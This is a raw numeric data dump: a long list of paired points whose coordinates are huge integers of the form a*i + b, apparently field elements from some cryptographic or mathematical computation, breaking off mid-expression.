[(309867248493670185343955566496530865898671339654986867826345799861667105073976550236511736370093774631064453545536408953630694286*i + 1353937401900083868634647666042362544445727317696128690344766460693130310392923471563594230429505951847929260118550926096520223029, 1267020202341274713418609510585670616749063879252638962878070790691120755451957848365325829827479134872564455767519860851114191920*i + 9840799627828590972250162332213779111148345824097730045422424245813208575256007508158968477957811780632258183939224199156789141), (971720626138992798995651616669435339322086876017131235441542226821184439051027323550955409689466438768470600693562275714736666120*i + 677200097485963509090149116669505333192138388837381945788987600219970408498745176887729784545683608998771764382081455461065582619, 1351325520132774596604920243294224288917890079016314221617851449136565134499583061376765026219512872774406193870082204608521577023*i + 480482004609583442705512884880671588765985222819536905351204011098990000097851326862015661686821882963145818954976458151240102838)], [(1003922892270042229088694718363806049078233950102472611779648562949602933362456489672472413218866346878304073228463542066402136281*i + 1426620906646364510195977993399764080441424316189702642443225114301563991602106735225109291860305284253478199864838978777940479271, 182545391534993918062778297728378275569007033202797977873006312498275729163313333008479280058772653978041413718039387485858010976*i + 1603032628170432349748673090285926513729534737799214877973320902705889948825342473714298696122831679513223251281242696711183225799), (362135244162636103988217675843738048084709015955795009831902619853889981659189417926861479880011581956300117119690147963181768611*i + 1395922947861772557426378625089219896106671150667746886569595287354218978036365487868220364622323871891981722941040569823708320781, 289383778394746589034398070205522499563391424713832399509409732172936713502035859297826841331723870139269759593481257020122562873*i + 944596574708951028275644532718452676388247329647417872415041896713191087409474434446129500571550641442167199956719421690087019113)], [(648531484762540611899824895043170513706560343306349062591402172340644164539950724330209095297598514003966984586352331737322010538*i + 1625578166558896098452045603195495933285246940066094676501134509946941147085047275438334528817062937462660581734737094586262125440, 797344124232135455921730628913845867647601667290479021559541785600328322652952102185245601785052781440884211756589962034762661649*i + 1237149620197771169100537965275499204332159369317384535780244323375290302119680253528676377144816732259261514122618244472912208041), (880875378420550256966785253590288843006986319383604611933174244514265522428636619718917612777038538666411925881880558641308066095*i + 1493136848033949636542848318978484850688078236416063750153032658515478970349766160213932354553129535297448997059174300270572851739, 146164008064083759208200641484360832271389772196699777537766364403167746739249061429234947525081826430186814273358742639726354655*i + 55545196680981377081438977524071987300338536183731635167170678690850379096243153961654447480485588534284347960985825053406619607)], [(1577241455543624792649052110729298917328940616504503364111920703005652155820764086047418018459379752145825408453492319679184772098*i + 260297991381036978800997747825449072037314706397133119762170560792972058349318806003770631419240584981598703634028057830480198987, 164935068583348928612844241278487205319450371179887262127809077716183610332619977917138970469025634472560615685974684614880736491*i + 863396770651757293378668207396523717035772086471308270820137641286413601785963903050049999966902280981740022487363118288982076056), (1532340715380864186913723530307322258738685671360257562475831015470001733601749605178102141598486835603793361751079331562767031212*i + 15742928880884918354781407964630197488363343856021512154403198880166305600176289969301764358315810043703119254534694939875107703, 1269307505328247864485573622123055093050417299578931271198827619498101701006029656466124444782856148890150816569429019797273414125*i + 1392307252994535133777993909865408024759400373943282470639949403359305531898487963051244813104211622467889408899505361615395251681)], [(1228904439854274466841387035080299588313698420270088010355977443412289596111694214264429113550844259053237968598839571814385296930*i + 964072614010731622748666880937828255960070940720158490540214175729659348803517284937675789636489614058924700392596060470440427979, 1572551524460503288483123053399387709896523833008114155072419374434090846409833843972353197987402664164785928909652629503661088816*i + 1004297328403862715329968873442970428799466695030102358535606763653391920831123018103634324729148268913203682859216862331355342643), (354467235960727945489967773181075088993814451827333245520942191763237298100713706596034295265970979139172269750559280010708285655*i + 750697858174920866244443841792028654941335263784138127599211054790289960306225013386646903805863494842716337751019223945288164230, 931171063726413526599341020393510259332203850468517409004378947471453073850092562195422104388686644678711133183619054698905889126*i + 67332126252231694228353636278687394722092908028423722698843318669324565485625816822471632663125908211260762209926566312432270614)], [(521141578472567024725120907978731618355839769960193889855562925113851803656022349565143526301039850280222656425961722761055655725*i + 1350374670105026437591081370315806552054355974605900377955395403381675478519504389024691219021427751348477316520239018010220662296, 649992822486680245575457189161125710077450089498343168323497030088049299750694003530107282963061634703072413446577260694788388672*i + 644918558773478315618973555032496434540674079687052959365983187350422691565555154325028101723298836497055000255785604923257959920), (1351276413400500527468650410693289879327392562337116072025588942491670991840310333580118117536333270125364984678845309852008624203*i + 330827862075024278953353291487527250066331233639989746111027810267779603571079171503983343465293481286438329825571838144566402797, 1319576536567612533475130326566043202578857840322650657151737304056083076663983155308185979896088920483522860245275982825216789594*i + 1347210409638254195705699919668038290665853951824581561595047863229482214446420795448710871474625629988110559128231155131606049911)], [(1578375240907119162886008244013911894409795690581601917140667075674037900033552321158647103140566504258210123406678252331691846799*i + 1505826488222902882066599706167614687624978894105998864890961755283179978190456773767991351184949402830747780663899651154574500472, 1410921870631785891409776368269036433826230062037401283188517863820491164865531466319571323174177264990985935317266992186276786362*i + 78104332706130124376012193529443865933691937032845283219846325815711460830166012540093386958075305784461214407663620325886571970), (192432961627979143765113358298855404393165331920754416958135721861585910266517666030234675573234331757267833536107946609087424140*i + 1478541976088091689465857191779840422756738011179757586426421383366292345467610504247784918551427357902883025842147386201941524693, 1342357275549251766930473231787782594470369888634682650481253260028249565065414455985941259767456521841780838381711943967852225468*i + 325111274000591769152562488822088679048305977395568269189420860283521785106464223430742476040037781135478587809006735000216514968)], [(1429402968281468642080123259576796807039631483689339971193049818107764703760112748736297761567945949292148225963931537018327197535*i + 170846266895765899580258623054588491457141854973313256340470506514021182420606625626362775749646781839016888822196204416061218653, 1439283365717670413175169167170944279948727430273083494955853301199343774593971585369944330519347396595468719187985916773898425012*i + 588142161835725910894440216040783526147785229914419933917817899589227573188636138122621420913303757891352358180650477941024129959), (1179305435294923284083506719009767691073924626446067775120258990391626551784878947498798697800525639098186679439849113861089797991*i + 572568208899136274739056467459380644849598590331514609653609237907206731334551115996928099143989574151660413373125442093430151429, 1260164309077420225883378693687836466057233728667315913653000526233020192236447825635329900541420453015810321666012430237725500027*i + 866012363030165471138542581076851068397724903953015712421255153594094722943982769011430297822433569100250535264857393562350061772)], [(404668580525249125963141510831632441561914610686515622497135397051457173001251819616072313927989155410849661303390928509330074020*i + 1277902478223533236023720209388188723357695212431542604566362467917841462190176121234165817721327614353085496732232107634157659554, 781810849785502547744036258789426082423362651840796066789764402637955379077561670186916249885074655088668856509344521643782907664*i + 1303174635616113601998565792519456840787212291006561383338426345498987281355332599572253294289521968001795513612357431262759554334), (1357895613772269484700003621153418113361645407566616373187764235969190985720193310311491275720928837253464742831028668662221999867*i + 316765855204002989487429017847006986801100299474022397822054907835892548154951473337324407373281658239616744760670285708533183682, 1080452465108349574651584528126610588302748264645029244455740181571813039202558588250594550812985150899107634658050162731162609501*i + 284014126283936932723851019834799507564282054381649116732624470350310492457895626291588806044400666697776182889334303636717468153)], [(153228119857633465182538015221844878300269601506031962569570105140791879478052068171669827070381984080597048330962992065460178602*i + 1274021992575887374554665202660256950667560521206265061589922303285621571812633464294152363211648834789482878799762121092682587875, 1516799390255257723709196761173101924540752081024972398565201874270421096217806329704435136910483960241324102134429286218091300602*i + 959817714287457101976102354134994441622178514807472686827025613227232493327524893647690899307442196014808109190405854996023162865), (507600178894470007145848969342145943839751593121146221842463077584225540915897022389223845510521694161593680598853846172334107835*i + 336897487586340711966452254823955443648904353806802317877055864524919872582548665198633121197004802447222979687867662863104142389, 830618604552766952247310679861124033195737509491133613426755704765291645251561110343542752658700845034124892715810793960575878787*i + 1008062157767832004542978899388181966908530984502885948948165952786441234534540161357676147768948720452224044652550307868331855710)], [(209446425766284349136839277772014410098523355055915072021380961550720478870047133739101714908090368298895447403184011777968552314*i + 1246072323560729490215407214800766097386278491556142582672959583899530770297764853264529142278407574746399359713599066234388803774, 787802421439655132993251721872575755372404717504720723003903849239271171697046046773973498985477574898871553108794715103535899318*i + 683696861100918813733570503942808966037807924988997482423886314109494720562084287370051280657528072782280841835525098724193678407), (189963767871758913415415804317229966446775892495510230332802017502263946507530367338725745866639473979775839546045866301886368213*i + 87340392834902739511874979454881160032091522949042138543521355255613065808667334354268403510213408382223760414395671650997035407, 319901517302028065689781646119560152120830777723986390972010788089280194541339267741026904719624535935824301944472930234066307050*i + 567466173432000533187563878445516262625598428422212661372704684555092097796487228130768024181071156578385290489611434323720168816)], [(36189010297831328768447676359565612680946881390147273660912753303691060809466159694589511562064337220083832750534317352417716200*i + 395801950233019405401625831440947194013824034037720794138098165860473567826416653523076255249054493869760914164404561874506057924, 700439609248471418262557831025452062593675721982535039580825894664868252806600626527411493803706049542417623880289517901879762160*i + 453857665069544452130089199745876569440617672082191420847018042405135393262318036455244993505005311689743484999356346807048814492), (1573650046330620314501802720970538249596025328690928011738106082903989096103604169993410617859629370461183079033384812667225417160*i + 386530818386581399682435671042767527508648767269911107730442938740916293500889742231003477703965061844536240084719030628748540427, 525791652754933145766775584706076023588248049269425741819760556096475023812345534469246184145030799028593597652282408230269175661*i + 43921135924365367780315259055889055475209222422215797300847850446511157112273729408868714293659496889200159566922365107554761205)], [(428987067337776588410995278416107510793739324111739169520444645978925550344661546753072005506962780630290217843558706995547828354*i + 1269749796131788531127729260579747647213599688881847439135297092818474600714557893907718541309487049292440179895022558492905871816, 343196345076885867634306560478401477867944011328842633563858705961631699724759233234071552853011237591087315796744962134411352778*i + 1354395671726763860196640143036572013811806070864234032041871987801878944758533226733878470074592318244078626635640488386443002049), (1565925305477765648947930456317902582602162857747303382540477071051928542030817584478612070229699840860689012532884381656882659004*i + 918689164308697068061826510700723246932320489950087182673184576076760912187580106459727908828239328974315907613356566176417796970, 32648753557398226204200606977226262893571253173959599307896200866287754229334097263319334083690498211000720096721397321756174755*i + 717726248611149060845962072964543482173400584868595930061255223376580588805864942924967689982619084559799616277344334225873993004)], [(912961539247923599881848674344683262314602250875603187377716062317274654347228161551362951383316566505677735625183546707178836368*i + 992253290237336814507145344375285229521943638168272178769435192974747394281340529140862517277452124545574911521976563622605720975, 1546522578049324062200267869365236385714538867209390610206170437341008683294327445181397509996772424493834617293284228017748666215*i + 37561340213391688317930277511267542511663299118095767705221005419007018023572884522878725047244304965944508973106214971956897132), (347477892215761972826635061944803902433784656523725172339608588245445648313362887339369981171354315732428122008445320536400917897*i + 552291089924805934854968641524536795637606984943056167778548200181534504541690837507073939846559178350633661852805876859820120208, 1520531569192960055140959806199186074244431190715601165830795092036560676264642016065565379944670290740160547704148576884664332188*i + 749474408672467391537687530795047431292038906379668125711845004974772589184488740399384826818098728475811539443103048853750566658)], [(1101507819903286350213244240772467592131615707702617200795391015885667903450370497206172811557774853229020657406867345753334270737*i + 1232347952453625333635303260087689287760816570660589953240088857586126847098902391437423488378986284457173991894040147855702185434, 836666359338101206596763705032184756873249718880221519086691628421167551365709249437880151593357187583509128057920197750424774064*i + 1622086177721942946456212518123925418850276310877306786473641859214709742228847303674497222302629380572183762154636520237507557561), (1371152514901368807725843077482540154166319611487813783398012366187617304104787642646504653363519268798765166715827176243321083273*i + 389434743050603294108033728620449954424099904993387572406078193884844426507193982740473381570316511014507481157354312386896062035, 143068301147383226280697432944968275032701523122774597206180652637408197544134303339693092852794706069386253948596576323847624258*i + 363670854938340635222351512413704889112183116517092663383725043473460871630611421866772512964266746232688430443250993346984496875)], [(976833041589776390668955604211588725272362835392168086691469359869172044247391492471498143339613258580837363653636083757529168396*i + 1502344231739118699563824385345788553789036157833291639700984321231680665535052308566869644990671081753793981158636788744460091770, 472441987001904898293034582933327581056957830064039336583290490189323375599510300150780970492770411097898282309274061011860793567*i + 1409662208593168455941620922479310301525860086653709773023502986858997735047286072400294085759749293508909616498467582936116449015), (1040342667505505445254806935839560726368696165475645936627147962651301462440998224454456340063287133246542525488495598992300718693*i + 762599331300406423615820491560083741625876279930258521407711339732452259461671082798044512790308903220802079998164023431507511168, 652164273089526078857298801755955482737027924275919634217686928134045648824398482972284137443619846395909405181048077639083574539*i + 584606945066306767183296913344784829044247718224106557871293165069794771206232985787738818640861153393320215845216229406359346612)], [(592351860474889932599815545651553324462984353030583772997459340779612900502262019566138916951816710113901292733099574035214659871*i + 789828488552170187573163320860223076703767100434792950841867037455260691672936984355870459578899380543902744608021592604097769643, 464258741163429948806569313032910157642982863740741607674651737690854131397725580607702410788970905545413643198330687648838602837*i + 597642003976039764904633929579713272456552899367662345516053049818253296798035702799616950528536344580729010204312998155930332305), (1490303217332497950541842225807617697613720028465898301932936232637598184256745063530480913537458710517845201344779786589418898716*i + 1144472644925598556265941938316016249062845663035536326797757819018835274605358719764233395361876142210822861318196194311620276516, 432637016582349193013371082285667429238396978374928847750544860011074496889180384734452780249519648720265124571966928927349219010*i + 1364365161353849656880403900341177493697316350780102328390193173247459242034704800233361465685418787454590303821584641070770793612)], [(1293944996532983803898778171646423181284744212030825450607765816774468721587586026182993645026260195234252224416458656710890864190*i + 151450898307500314938092860766189277638539405024527395559533050383626528789332403214782601708794225108840545643899467020772972073, 244038461905664786594616719799839980198726922038332192989092820300279027542605383591035364249716763850806082173256700882227874295*i + 601147382399521766755888629410957227840883578780702503875966995706205437416145652560624373839619709356573150844047852606532460907), (185853770569069496143849171613698682053818102469741307861886776732670502274868557109592642000381168786571759987341617221199510740*i + 1133767448720648958148258697905452663149694600273809950885218367645989208646711791866235477698139761302269447457252186395515439692, 422000618106303478371948453603614982169886776368594509595460429767871514864013535402025504615281632860506952617792425571812102926*i + 1209745381836284544959806212530973915110169582018203536745564327515801178453592179050696631848714625775457110560976766354203540687)], [(547391966202767569485488997347757569651762606058320475460608072143308063599170504037106140747819595379299369328503107552202390050*i + 600709924661050220218252443482756554737044930143570574145602792830757455178343438597033323701682122102642082223031541675001972662, 311476753050315550698236966192246427109125345663029792169973278370919867185544648495733503867487771091045261849210405841012961271*i + 187006830459309814619813983143096475793697448273641898760684410366447966555158394645962315088635134465273077003902106974286701627), (231009203959290249282005294551006782371087895689509411724207016489952269771085989750935467735139144334479118075115200097486774741*i + 1351002183002858873762810852469803749325058654214700451973745269031499861619264244985696321414774306457143048072956158287804069891, 239240833418842125279339485140964881094349453974777928755411910446283672339643775362744609959027119850837823146348219917114483967*i + 809241874811346928855833586586884176498203321257585896451788523776598168473925952620319903307141247304941530929748204261664821449)], [(1528808946591425790867260916944435543455839431713126105281035305913196409836146951235377622229538354664912942086801327991501482556*i + 1574939522824736720148166562344031726261005837375314919051516862687144217943918725336915504311815212210134062953088751871497157811, 1402027599142738656856352300761035749099598188347178831121002823243909946929729662995694610159943496059783743120357905358499266160*i + 494117966667089927900900317256655303498523291230731129776410286543907977156932664311142707884452230752410630225290027573359212916), (236306380111494019006786196032265088421960704999027757231245749228159292452170761646702874964795215599873728459166751331282933268*i + 1043813991029118804073117067474024182213576064738585639032133030154376108156894078033263308598820498364775432233488282360564024395, 997926012961439384818146736220071264429917641796168018018377227040508988652698955796093833861433098449821334813798881134167371858*i + 1592959920016332153500575309086686825859516375586327620133332978757085998856922834048608192848875955739398183269538144839574277362)], [(41165827572682076870346114101286225092748469951154953592553867670220920696740907766700997136737899710009266958763524060949685844*i + 1310773444361850014776415162389395394999882326954057306186093782460774527733994350544262366996631799753789249037598673395716534329, 1015870779563390873685012116801528411230363570066039948276938750525117810374049555675422995714730114461820376655332297367638081840*i + 1503530007667484674438357368836757418178987793047461741814615743855369511516803491127837872723898922865932138808029145816179188036), (124603483737615662815223565371526409264361794175966249601345843536196763592864046909069262442712639900237962543513749107859585332*i + 243347072251255239894244348746333998979069225411421842576876952863632817220836264483572084091661455803791937677599927988788734762, 397541559451508606922250949770569707445401293431642702324693265329428483868032245667064281843065212255231006460736574259041040252*i + 659727592158782498610962783756052982504757963379122844566473237123570150542804904734521140260301860095430690799343189790192901748)], [(37496700386753982216430061260241230873506135821135963504896563692527549598609378931301567934463957221763718420483119721148092853*i + 643890029740673960352804519228453033799832413845650129900137042160430545232228012305606903173171734579755709730843981457900362549, 544572877641410550151351370428782731035772483949810835754394703639936027271972517232981701614889491315993871537423094909524199875*i + 894681564389046588692510491109386626793116956843154833486178489606513513942199271388958768646569043661214261389838684765339911524), (810595384762720142236223635113984362649412189078677185771276786573188361182867495812042730342574406146249227126906354745564662030*i + 1336518263429779309413026308361011897734012004166565627973614260244248806570351905720320560296509484796167728911681960003817585183, 1307247509196232787027222049929256460404171684681572871664579197230715663771963184947650681267481098059250020077918182520170904269*i + 1395824829512722377031437841569111306410975707065566342482610835500264035542729388983928544142831683124668137001019027471331592971)], [(1620518750865761268863283418638554341325905016497679136345092783192998657748477851839133559248741504591185061851306067934660970943*i + 317321359736128792820932224429232490135645120639084491394776637520041072492559429497494838574970496266600453884867055487293796180, 24417160170298924327756143353629736419771860473721843024457414787586855062963011729909573456074313871028574202049989869994557168*i + 1361307222524381058736619981193187562147458748822785898801442017535336917931049025516822882011284145305387315537146611721831314041), (416690988484104919785680868535415922016925836120754467847096861854235320209845365549269448928219314305977148125192147837747192004*i + 256715256257217045539095648462652524031340596715266161802486966384172128764059272447606275065527548511662981456957113320978748037, 950357360401700095071278083366760489469483393754940245713207183036775949421842834156620989831174065205434521803441752375430088831*i + 1024748265934043558764133480575220869149933717374881736828664063824451422083733557553328931335826924470844887851984219071398343094)], [(242551842898154916041925017386132345757131039300853692915436539543943020309642874606065585471708323015568483515982906035681263578*i + 1452228818218151693267450925676589003675932885769316617116344261121953904798827339808956012336643896903911536528414072783238516172, 1426853662417921650893727097064230639723522513433634136161820692500273743668896866745499957844025902649372798783404333692460992996*i + 1089113077931270533689843537114793723631110833166222185769898541214117994295333293661434917263938283773085536241248492230831918134), (1043653517541861051143837396640454572949294324530944077109559067526812907014666780783988089062484067901355527818157230423439980406*i + 1197863371390906189924302872136819589506328218634800708568077118681446811006467941680643381530071812217703934608204168727402431934, 1446922793388538656091134879126826734220245598188067914498166701371960311376338694009147736629172189094186728516439931125676768565*i + 1059354295926124087456768393388040854342865502493167195902273189297348224663207718661147379511494186298358513806861591035493531563)], [(681115101374964017498214765146831398529225385310820359864390847718454646295347995258291059284807372291316444819695924409718362047*i + 977103066173080824677046882332341907399970205248598584359093488216753334409267373072862743853282437362859380989830053306430912027, 467749022284681493891877947003169284189010990604106738196250528627290981950103022101981483646544725185496759048489243294215761938*i + 1438671855851000658559003052593380199316427193478949935582400372503881413805450980368722866937815514014941603334544699198738476400), (1598431406739375468512051761268811126674767091836530219812369418723689855349102718307873895033426245870791940557008699437358107192*i + 1305402789839794186514239577545847596755525254618941237482331381562361325926948077028748790907379182445450196148226173290921556492, 763321093504110044105792876592520097086663515180254677552103718528648058950735350784154760822074294191966603237738848429649220521*i + 1462483532446742990548572548208557117685939965978850956961275563290585735953402429322657344143286533173498462758239973224699347079)], [(804225851202763291428241039133052498765893060202370835464325398237583695742325623589561295498267359634564079227884541664757095231*i + 402077777904409762351839358973150864581922066447648633388791242896423167351637586177084709111843585670378259355564601023401981950, 1277494601674689206970987754583273489089099232134532500780165784161564772747960860984157788148562242023913115883919804371206072322*i + 18455590001001810117002435162171132977283753791660126617570112008677820327321437077350770393654527631603037339457002186542396624), (327594179948378207885529001229843149685841043709874827790367969653135558788633217844023367497497092235997002218997843234589375885*i + 1168971363205617629340370973648349751644270767029724441615253911273978341240590869360858825256461022284933466594798948103019689709, 236126583348755695157345225709134738702664946858390477898597710785785856847066234234132912485631527520490318568598322932719741289*i + 273886183828599036224093760447048417157556163130707755210252501167270762960173352470461951093551524328611064906988665783933293861)], [(961422404224956413266727927827093259247692286933426799689164497791016265083971435466891901472114040588687326192409946687040029036*i + 1052504884937859193041083355395633407551461623907127247803958437475498778828959319904618662146189778967809594605665511254063149312, 803944039113573176684818036914630848283231410125013614397256768914212890834681061561593582934192053911247439788541784251501880092*i + 1150625454992479413638144317006814973941210911396276096230001092959489281249840675760037246447763821831598089433815456168209001721), (1012717848868332887723686109975244752464886141537359881297984180486913962118176324735832378209742233086285236438096898282244266731*i + 504908623548990702968331774441240285380361537624398450206991920185961898148456441897191026835119425490279194512734499300087456520, 261523524801180930723357036454798455231383777363531688130423123836737665086994280196324738492344364990207805623140050867873175526*i + 550531141915611898877822391106282050339277450786580128873408859359630367437990416871614801330951137692686820629840189213632569671)], [(668632162235413437777474647441747541623606662286082151731122680127219943349236415484855855921888472214838080252073268089276212515*i + 1160681458631585686522904609044905952281218184296140558391820145963277439761467952941116845603788574488124976449257516884225682564, 699754424263676199603896386786157490158930240776804218958394113388201869091496807167848849026927367721047345804435272476770808162*i + 1415635306398048166387370892333851315586365486162892999445414404148187908825672768617304305290320442955813021880551892744430527155), (400767692443586825953080473330289212085515707279144054749062336892961972099437490034927338288127170470949440078695348706958751845*i + 359211644416183668549754916066077667491493097258388607696842767653243818265571174901160105960202149256247187664540199403583247447, 897855976619414828716803633860930727469722595032993257608924681714207968605962339342839978967452482422142549328531963167520869311*i + 29499250141108180467850121950680131552058207265191299659050883145422593641780448674529645001528375174834784133205316500927701845)], [(1391585531023289071202178503947397598575282266757459699315056940976839719586919554097511356835457953314259338227762959384026664200*i + 1563586459237949518025727503176898102743450160336081058643574990753994139930984336534175307426004991557938030349643035976322775351, 1545218883152315578232926136351202877648186640670157322807834640021445004009058618848897075478042673314084245900849947943571129167*i + 1362111363179205364827220590098595481197012109397387245994233538706721499318911911408279005753242288640262210983111871889269402337), (141425453880942343558152129395865922553060179550799428182276651922930972335845043047900653394094402542067971644948849056050447095*i + 373955930702744813722346179793471514029988684753551588565500663431185186988389295764153263209598918674968175926089945629372115179, 1047657057635171448591822934013201944074604710596365310744110807178208497387419138633359545279112494806845599561789925558989049083*i + 1297130694205388362440599095958380027484276985001311374815581911869430530207546148835806419386226575399600118414674659604742136801)], [(1089644803999578014502834604717810261561101424280788780373910817475517970866097162660505312198874086974317326999819881804371335439*i + 343645959937760032457538177881350612457337145031356057228448536202457138517974494109847167606740681167874553834937574475853613674, 199941999891869630485971687568439112251995384762489176837538240212083130714067873422175674903735913278731470586732798575921005027*i + 1430387991544499071572679280734210005016699667533759817292416844605494036350076313649882757643632212467343266681641267688617266244), (803446370028448350110830323518428559792562725858963956153230833154742924517096859294996383105089868814335253028950644382598771600*i + 1436196387200046391574732618041169982447088214558597869676350652942378044711387441538390264414615278463271120672784526235526672842, 1167713990230006734056094139049642975127729270924093642996844947374849432394034653910978882103307252846911207144626465289369956361*i + 236548418714497697493403300399391499630550456319430906029202349093467250880820872275855381319295875980104987685398828184680407206)], [(905316235017620085045240330923427410187897185493200905879675778647429082042629187854268104262415233112821434992181934604236660014*i + 834749720187789665194515815504594093631908811419649987937567459468354881542878698754470740266443213333745628066582890732519896717, 1069375623306384642457181477647618570593589647535357743917708282090453905465405963192760732841867827982748686253125656273322409711*i + 416548598659969430115249667939797979068713165144778110556483803047421680001121309857255914487581434375876321500950818752533740317), (84413182287299297550316813043446628980338142750383384791092354320047640787469982217478975964592313645000074419154930846275380520*i + 1000800727597990336898376152309650331100255381201616250868207459887156487312996956790288240267303938068457031146295026672662487640, 1010996235540488685759250577309617310812874887945598819088835397174266482969930695125200339501371241111349680525878767367330744086*i + 679777614282395180962246169114175611885195327312103600180041252266084834966600401639019510996387583361252716080945610652946688213)], [(1187247326401985746432490102215237863716186833718883399604250542167003579008448649413554724057616629994584385011494162815092197501*i + 1405354337037528408459376970827214192390477419327354517149256381514161906748049843831320230609459840620350522872071270657103939968, 41112827609315103071784306312286047392646896876745576715745090770155073706068904734875823415264171959858831576410648335038940287*i + 1044051631200303859754725965923189538462914681420604410585562778465660940448331952805066686175750459208359019501586625420186918104), (1462328188646037990895823244976556076901960191842178766970212316846021838166302241610873782614610670137601752540113230844376813217*i + 531938645671096564738292248640526241609787030035148983641467282967259393869426323197746095660114457215900717743711316414656984724, 85568694205906875530418212279521947108091059677231445920418637374655034631195339460105878603083071984843033671943027730742217985*i + 789767365062341754206674848257644357060361810291007380815202683140360917935727213329253286292728829182958042780257828576093631904)], [(795898303723667583676194062116582943571281955018999686821144324051462355702086630801415963670902979696728153954692550634087132475*i + 616797356621865466179121623159759729492475343529900368896356445786372859907418277441770347738906311281610521482559280025013819476, 766590252955774425916852122380792793010209153470739158240011947807261014290417265859639945999848397407813417229885337798276282116*i + 368576140327167871110261501766925128305400644825539635483965314796571241155915577173708889527832562840714604942350538731297758905), (236527910690967973654156661417389415653057844669822311043465678208095758894650210031088645191631251064181715609576379225888118667*i + 222604850225784592795269088722513178698290300148583901827458947003278051230933494773544406736517442235855573347045883721472556662, 908918217349857293047575402186789520782062839393299814699242151585978096812037491379841349892953254363315011725961848319042345739*i + 482713175011304462664262405003895652987357092784203531296551372207349037610976480244498858173490161189561015356921926758308168355)], [(1384369817116328818601041287980780119198042426633470595132945588321711446346547576739022878351389154731620939014645922913164245179*i + 911647228444267705356146517219013043307734932891397928225330611158861536135786760665484803901660951957647844951995733953928338491, 696979374166685874847472474761708488203600472571377769209353906656495587279793200042279539833855279421486037817695071674281804961*i + 545753648718040847832305713150840190026142824180102760606283997566764434287133607869814524517660239151233674079428293424106545502), (145381751315093539187644358797737271968597042845852686435928906315212801656046701107588415511364178160235267356358481804602166508*i + 794371259399788867871126443863215092986625245200259529306522000956110310955486332814717593400309332594027766236832583921163923455, 1543302671883993135247309797803598529707444807141605603447513130034346375872493071729811584169474556065384746448081956798341883510*i + 53548911493644324401954207621289129936321899571546466970891409326870747245365843724943066389782128104542627993911340111963466846)], [(615256030610784281032549809403725892145783466309625329494633672102665008424671954140335566570693662278392062853008296768216773380*i + 1617585161530294477471416495411058918480961318678031585429244649201067830179002556253193427981099803584136462007152129827456221879, 187807283123279706536128913575386236314099551561439272200417855472928454353885778597250148989297220423627170266394125824810865673*i + 719245782910108718543850157330044955612406333592551696731478305623669753632920540525881284063724750394706242403246588852364645460), (835279535478320554963859174298209920621225415040345088392100446946947060111914436069532612351372257882520959980539293741168139420*i + 868430905244464170945848182969175804222804683098872514106584819729341535006605267609409856188630823329801505845712375956048761990, 1476484036174949322824664947194754944495940861360769305401843885227072989391362718658693971259478419430565044825440441415121957392*i + 1111869776094632119778900978065601202670853093139422261117928383305603686001342183418349061409465641057404174858582666363913764592)], [(1458954485459314555354246228868196618911601403067833334142490329756267996779048547625427945842548929287038935487350032950065513862*i + 429824482600585131372747650539822145539168096385494870531592551537718707668817373272719047422978349444400533256715073047667003024, 1067348382743529264855756536047192021047262324753974994240610810815328709330765427281271839479857800767998674254111384767820049118*i + 1351760062235714239500251061836396224091641018393597623456458187972818274302715860615158765363410134317798085846112814314764795457), (1284505565902831250733696576395214731614113617077455580369484391697813787434192294663180893365706303567188346804040284304964490909*i + 153750859563829379715564180429932983424851890183061264828650451424385342854921425378615927427864114467414208475445271812448964211, 63122114501035766197683173918385583090153207150262879368483028942147376369378055372366725509426222033074360715643090207957670782*i + 367199225583558089399457665126382550151273878630707444473664251928985959572288056263607134626435782829513966967672007728703997597)], [(1474431426280654522198090321205606486304794735814054166423224970130032101268496783504674108139665665000048281181630939591454119639*i + 1144098793378436160949862628503862081614816544183348719352205615771491395276570916638978017937204638331686923619856097512690475333, 121651015211465645630515657921941544491012546552186604212464857560335634588723379550187109091170682779628153762132019640606412179*i + 330470536530005172252395508865175976432933300016641435275651153385391769135772582349796729362296763640467898796178033044623252359), (1343675555551742859878463170791136938657269134505330492114715130983219070604320647814140655448995830119320891320968196555696453096*i + 828047748211633823867075267870388616062977181678426965451700837673957615713797148163119728215536685340933763857238255694539718477, 391173497521292592463428595562481940284878156025753191934488661687717537412619703365094156416630505710673756981725934000782120518*i + 1199109480861712699728565029197280956611040630265958652254827583570221382858882748553949184950713626639916668181066935343325509522)], [(1009733180710872561020115261064582360782327175621944007444930675905436797098611036198697172331633055752763949309297308704305324067*i + 818386662412060703992302375149791040420919063673680398764181934544897598497083996971001326723856784909978160943797245777365634876, 816853883804348872362645445534437621992116014416452570952371179963113441673327945534717895493455812154046864331151265553444809054*i + 1271802523154629238121443669310622780325176871173896511761986908928601365464342940430712538177344233428515909747776913033928860511), (637895891159962807863977407321977933094164320247219693688968195743931834125855549103437368732262175020924735353364968569091297189*i + 1014205590433281398284749520057053049136651686155859649133573669778995643953976036305889221694382610462619004235835633423944779463, 1607673985144438667362209533816419217252969641992880432349453297614131528337556598832601403927167562261708230907953823283874762019*i + 1060970521599694245770017022598072860306114107458407152315374332762741249609172873063465012200094857598068999503738064229427790771)], [(1315884015184262071538442726710026831682467507336753304641431040836220863083088458318961200985725353092802723534935199161986554209*i + 1108168216082952855045072568092912004604477640573909933885286172851529166646494702918237870707269343525885200560754981542097172010, 136883964882672199382704131819672976811394526567355227563411005712836705929968193037299480466088182419188319777021058111006740309*i + 190453723380357694461359596311931764079866480610203127744702059364346400750654749348658572294266890016517314394368206689377493411), (123522587112369146673837116717964716577798975374973490249859739636630629537473722527850504099189661417928726704716828090091029153*i + 267785227205094549866349642440508446564207664193328192970534494141690221707405102543902056886895675798886632402033579382178150005, 925765712313358824391810282737041549800369335682421920874270281284717969569949450448196316635106511413879327308697493606814649552*i + 736170603374784227469485829928860783280666593262671961947645503531833330524681312593784784904893796157097897760312125939061996528)], [(421246974331340409020554116628613826749780551554592809920533300833144074264873454248230714960806202002746501039738518389452507472*i + 1042186991575568171703086785206349730985306264968487951868071453879470866709745099061448657593871845072846644438885085885102203866, 606186104141572557968065537431892390504942302643647682363226691290865790936245756124606431572273089769926522434524856376142319113*i + 596299577721625566056790755317578519532270368769557707756221083518136431484148370048804134785969919493201992406694035782827191848), (256494204018086988485644572408444779653635519472688842861314438611280782317074373869203267799342997747171328948719679704992039951*i + 1313413001470171433128927568360935979390589817227547738173846549358198262734764200386171668656100137869884107762839067104414687876, 1372851434728223268938668412037066342880803769033871886513273976447413942574206898928163806315165805819823859947597550139325509368*i + 1303572011124381648246233782896909830692084249740903433158716457086022877965593169991876461886457734421633040368731743189341486005)], [(1391196278040369563057744771529287055560481763453848916779471173442239318679603473746520753233327146555287413861769162518825963470*i + 